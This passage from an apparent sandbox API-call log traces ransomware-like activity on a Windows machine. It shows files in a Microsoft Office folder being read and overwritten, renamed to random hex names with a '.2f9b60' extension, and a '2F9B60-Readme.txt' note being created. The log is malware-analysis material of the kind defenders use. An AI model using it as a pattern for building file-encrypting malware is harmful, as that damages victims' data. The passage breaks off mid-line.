Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x681bd99e [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x54aab123 [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x7cedcd55 [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x3571b298 [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x3b9e0a92 [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x6d75c74a [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x6ff0347a [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x6e490cc8 [0102.534] ReadFile (in: hFile=0x1630, lpBuffer=0x2048e2e0, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x249bf7f0, lpOverlapped=0x0 | out: lpBuffer=0x2048e2e0*, lpNumberOfBytesRead=0x249bf7f0*=0x4cf, lpOverlapped=0x0) returned 1 [0102.534] SetFilePointerEx (in: hFile=0x1630, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.534] WriteFile (in: hFile=0x1630, lpBuffer=0x20491ef0*, nNumberOfBytesToWrite=0x4cf, lpNumberOfBytesWritten=0x249bf7f4, lpOverlapped=0x0 | out: lpBuffer=0x20491ef0*, lpNumberOfBytesWritten=0x249bf7f4*=0x4cf, lpOverlapped=0x0) returned 1 [0102.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263500 [0102.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263440 [0102.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263440) returned 1 [0102.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20491ef0) returned 1 [0102.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2048e2e0) returned 1 [0102.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0102.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f80) returned 1 [0102.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263440 [0102.965] SetFilePointerEx (in: hFile=0x1630, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0102.965] WriteFile (in: hFile=0x1630, lpBuffer=0x4205a9b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x249bf910, lpOverlapped=0x0 | out: lpBuffer=0x4205a9b0*, lpNumberOfBytesWritten=0x249bf910*=0x10a, lpOverlapped=0x0) returned 1 [0103.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0103.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0103.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3e0 [0103.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b3e0) returned 1 [0103.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0103.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3e0 [0103.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a420 [0103.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a420) returned 1 [0103.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0103.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0103.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9e930 [0103.373] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="71") returned 2 [0103.373] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="e8") returned 2 [0103.373] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="7d") returned 2 [0103.373] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="06") returned 2 [0103.373] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="1c") returned 2 [0103.373] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="ca") returned 2 [0103.373] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="a1") returned 2 [0103.373] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="93") returned 2 [0103.373] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="6e") returned 2 [0103.374] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="96") returned 2 [0103.374] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="40") returned 2 [0103.374] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="02") returned 2 [0103.374] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="d5") returned 2 [0103.374] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="74") returned 2 [0103.374] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="f6") returned 2 [0103.374] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="71") returned 2 [0103.374] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="4d") returned 2 [0103.374] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="3c") returned 2 [0103.374] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="10") returned 2 [0103.374] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="7a") returned 2 [0103.374] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="34") returned 2 [0103.374] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="7b") returned 2 [0103.374] sprintf (in: _Dest=0x1cd9e95c, _Format="%c%c" | out: _Dest="f3") returned 2 [0103.374] sprintf (in: _Dest=0x1cd9e95e, _Format="%c%c" | out: _Dest="b8") returned 2 [0103.374] RtlInitAnsiString (in: DestinationString=0x249bf988, SourceString="71e87d061ccaa1936e964002d574f6714d3c107a347bf3b8" | out: DestinationString="71e87d061ccaa1936e964002d574f6714d3c107a347bf3b8") [0103.374] RtlAnsiStringToUnicodeString (in: DestinationString=0x249bf958, SourceString="71e87d061ccaa1936e964002d574f6714d3c107a347bf3b8", AllocateDestinationString=1 | out: DestinationString="71e87d061ccaa1936e964002d574f6714d3c107a347bf3b8") returned 0x0 [0103.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5a90 [0103.374] wcscat (in: _Dest=0x4205d910, _Source="71e87d061cca" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\71e87d061cca") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\71e87d061cca" [0103.374] wcscat (in: _Dest=0x4205d910, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\71e87d061cca.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\71e87d061cca.2f9b60" [0103.374] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\71e87d061cca.2f9b60", NtPathName=0x249bf930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\71e87d061cca.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x20278bf0 [0104.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278bf0) returned 1 [0104.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420538c0) returned 1 [0104.450] NtQueryInformationFile (in: FileHandle=0x1630, IoStatusBlock=0x249bf998, FileInformation=0x249bf9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x249bf998, FileInformation=0x249bf9a8) returned 0x0 [0104.450] NtSetInformationFile (FileHandle=0x1630, IoStatusBlock=0x249bf998, FileInformation=0x249bf9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d910) returned 1 [0104.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5a90) returned 1 [0104.451] FlushFileBuffers (hFile=0x1630) returned 1 [0104.452] CloseHandle (hObject=0x1630) returned 1 [0104.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205d910 [0104.453] wcscpy (in: _Dest=0x4205d910, _Source="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\" [0104.453] wcscat (in: _Dest=0x4205d910, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\2F9B60-Readme.txt" [0104.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\2f9b60-readme.txt")) returned 0xffffffff [0104.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1630 [0104.454] WriteFile (in: hFile=0x1630, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x249bf850, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x249bf850*=0xba9, lpOverlapped=0x0) returned 1 [0104.455] CloseHandle (hObject=0x1630) returned 1 [0104.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d910) returned 1 [0104.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bf40) returned 1 Thread: id = 855 os_tid = 0x1404 [0101.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\rpt2htm4.xsl")) returned 0x20 [0102.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", dwFileAttributes=0x20) returned 1 [0102.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\rpt2htm4.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x161c [0102.437] GetFileSizeEx (in: hFile=0x161c, lpFileSize=0x24d5fa00 | out: lpFileSize=0x24d5fa00*=66763) returned 1 [0102.437] SetFilePointerEx (in: hFile=0x161c, liDistanceToMove=0x104c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.437] ReadFile (in: hFile=0x161c, lpBuffer=0x24d5f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24d5f9c8, lpOverlapped=0x0 | out: lpBuffer=0x24d5f980*, lpNumberOfBytesRead=0x24d5f9c8*=0x4, lpOverlapped=0x0) returned 1 [0102.441] SetFilePointerEx (in: hFile=0x161c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262600 [0102.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615b0 [0102.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261640 [0102.441] NtQuerySystemTime (in: CurrentTime=0x24d5f8c0 | out: CurrentTime=0x24d5f8c0*=132462177079594000) returned 0x0 [0102.441] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x37771f72 [0102.441] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x601bd466 [0102.441] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x59723f7 [0102.441] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x53f27079 [0102.441] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0xd7c326c [0102.441] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x7c99664c [0102.441] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x69ed2681 [0102.441] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x12c891e6 [0102.441] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x1706d7b5 [0102.441] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x6eb1cf8 [0102.441] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x1263cd38 [0102.441] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x74ccfa3 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x68c6a1cf [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x3b7eabc3 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x5eba0ac0 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x10ab6b84 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x2c56a270 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x5718f7a2 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x59f0841 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x15a97c12 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x470f1457 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x35180776 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x49117474 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x71bff7f4 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x3e0b108a [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x186a7048 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x7977b315 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x3774f232 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x74d748c7 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x6cf06401 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0x6d70ee41 [0102.442] RtlRandomEx (in: Seed=0x24d5f8b0 | out: Seed=0x24d5f8b0) returned 0xf847aea [0102.453] SetFilePointerEx (in: hFile=0x161c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.453] ReadFile (in: hFile=0x161c, lpBuffer=0x1ce7b5c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24d5f920, lpOverlapped=0x0 | out: lpBuffer=0x1ce7b5c0*, lpNumberOfBytesRead=0x24d5f920*=0x3c00, lpOverlapped=0x0) returned 1 [0102.499] SetFilePointerEx (in: hFile=0x161c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97fd0 [0102.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b140 [0102.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b140) returned 1 [0102.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20482eb0 [0102.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b140 [0102.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859550 [0102.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859550) returned 1 [0102.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97fd0) returned 1 [0102.501] WriteFile (in: hFile=0x161c, lpBuffer=0x20482eb0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24d5f920, lpOverlapped=0x0 | out: lpBuffer=0x20482eb0*, lpNumberOfBytesWritten=0x24d5f920*=0x3c00, lpOverlapped=0x0) returned 1 [0147.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20482eb0) returned 1 [0147.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce7b5c0) returned 1 [0147.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b861260 [0147.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c7b0 [0147.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0147.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ba0 [0147.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ba0) returned 1 [0147.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860ba0 [0147.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0147.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0147.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9d0) returned 1 [0147.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0147.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c7b0) returned 1 [0147.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1674c0 [0147.837] SetFilePointerEx (in: hFile=0x161c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.837] WriteFile (hFile=0x161c, lpBuffer=0x1674c0, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x24d5f9d0, lpOverlapped=0x0) [0181.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420598d0 [0181.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0181.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced73e0 [0181.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced73e0) returned 1 [0181.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0181.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced73e0 [0181.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced73b0 [0181.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced73b0) returned 1 [0181.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0181.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420598d0) returned 1 [0181.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9edb0 [0181.072] sprintf (in: _Dest=0x1cd9edb0, _Format="%c%c" | out: _Dest="34") returned 2 [0181.072] sprintf (in: _Dest=0x1cd9edb2, _Format="%c%c" | out: _Dest="10") returned 2 [0181.072] sprintf (in: _Dest=0x1cd9edb4, _Format="%c%c" | out: _Dest="06") returned 2 [0181.072] sprintf (in: _Dest=0x1cd9edb6, _Format="%c%c" | out: _Dest="be") returned 2 [0181.072] sprintf (in: _Dest=0x1cd9edb8, _Format="%c%c" | out: _Dest="56") returned 2 [0181.072] sprintf (in: _Dest=0x1cd9edba, _Format="%c%c" | out: _Dest="ec") returned 2 [0181.072] sprintf (in: _Dest=0x1cd9edbc, _Format="%c%c" | out: _Dest="c9") returned 2 [0181.072] sprintf (in: _Dest=0x1cd9edbe, _Format="%c%c" | out: _Dest="ef") returned 2 [0181.072] sprintf (in: _Dest=0x1cd9edc0, _Format="%c%c" | out: _Dest="3f") returned 2 [0181.072] sprintf (in: _Dest=0x1cd9edc2, _Format="%c%c" | out: _Dest="e5") returned 2 [0181.072] sprintf (in: _Dest=0x1cd9edc4, _Format="%c%c" | out: _Dest="e6") returned 2 [0181.072] sprintf (in: _Dest=0x1cd9edc6, _Format="%c%c" | out: _Dest="07") returned 2 [0181.073] sprintf (in: _Dest=0x1cd9edc8, _Format="%c%c" | out: _Dest="6a") returned 2 [0181.073] sprintf (in: _Dest=0x1cd9edca, _Format="%c%c" | out: _Dest="71") returned 2 [0181.073] sprintf (in: _Dest=0x1cd9edcc, _Format="%c%c" | out: _Dest="d5") returned 2 [0181.073] sprintf (in: _Dest=0x1cd9edce, _Format="%c%c" | out: _Dest="e9") returned 2 [0181.073] sprintf (in: _Dest=0x1cd9edd0, _Format="%c%c" | out: _Dest="5f") returned 2 [0181.073] sprintf (in: _Dest=0x1cd9edd2, _Format="%c%c" | out: _Dest="33") returned 2 [0181.073] sprintf (in: _Dest=0x1cd9edd4, _Format="%c%c" | out: _Dest="18") returned 2 [0181.073] sprintf (in: _Dest=0x1cd9edd6, _Format="%c%c" | out: _Dest="eb") returned 2 [0181.073] sprintf (in: _Dest=0x1cd9edd8, _Format="%c%c" | out: _Dest="15") returned 2 [0181.073] sprintf (in: _Dest=0x1cd9edda, _Format="%c%c" | out: _Dest="2b") returned 2 [0181.073] sprintf (in: _Dest=0x1cd9eddc, _Format="%c%c" | out: _Dest="6a") returned 2 [0181.073] sprintf (in: _Dest=0x1cd9edde, _Format="%c%c" | out: _Dest="9a") returned 2 [0181.073] RtlInitAnsiString (in: DestinationString=0x24d5fa48, SourceString="341006be56ecc9ef3fe5e6076a71d5e95f3318eb152b6a9a" | out: DestinationString="341006be56ecc9ef3fe5e6076a71d5e95f3318eb152b6a9a") [0181.073] RtlAnsiStringToUnicodeString (in: DestinationString=0x24d5fa18, SourceString="341006be56ecc9ef3fe5e6076a71d5e95f3318eb152b6a9a", AllocateDestinationString=1 | out: DestinationString="341006be56ecc9ef3fe5e6076a71d5e95f3318eb152b6a9a") returned 0x0 [0181.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce153e0 [0181.074] RtlFreeAnsiString (AnsiString="3") [0181.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9edb0) returned 1 [0181.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0181.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced73e0) returned 1 [0181.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0181.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ba0) returned 1 [0181.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0181.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0181.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b140) returned 1 [0181.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202615b0) returned 1 [0181.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262660) returned 1 [0181.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262630) returned 1 [0181.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x42c31e90 [0181.079] wcscat (in: _Dest=0x42c31e90, _Source="341006be56ec" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\341006be56ec") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\341006be56ec" [0181.079] wcscat (in: _Dest=0x42c31e90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\341006be56ec.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\341006be56ec.2f9b60" [0181.079] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\341006be56ec.2f9b60", NtPathName=0x24d5f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\341006be56ec.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0181.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x42c37050 [0188.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37050) returned 1 [0188.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c25ad0) returned 1 [0188.376] NtQueryInformationFile (in: FileHandle=0x161c, IoStatusBlock=0x24d5fa58, FileInformation=0x24d5fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24d5fa58, FileInformation=0x24d5fa68) returned 0x0 [0188.376] NtSetInformationFile (FileHandle=0x161c, IoStatusBlock=0x24d5fa58, FileInformation=0x24d5fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0200.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c31e90) returned 1 [0200.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce153e0) returned 1 [0200.781] FlushFileBuffers (hFile=0x161c) returned 1 [0200.797] CloseHandle (hObject=0x161c) returned 1 [0205.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x42c30770 [0205.252] wcscpy (in: _Dest=0x42c30770, _Source="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\" [0205.252] wcscat (in: _Dest=0x42c30770, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\2F9B60-Readme.txt" [0205.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 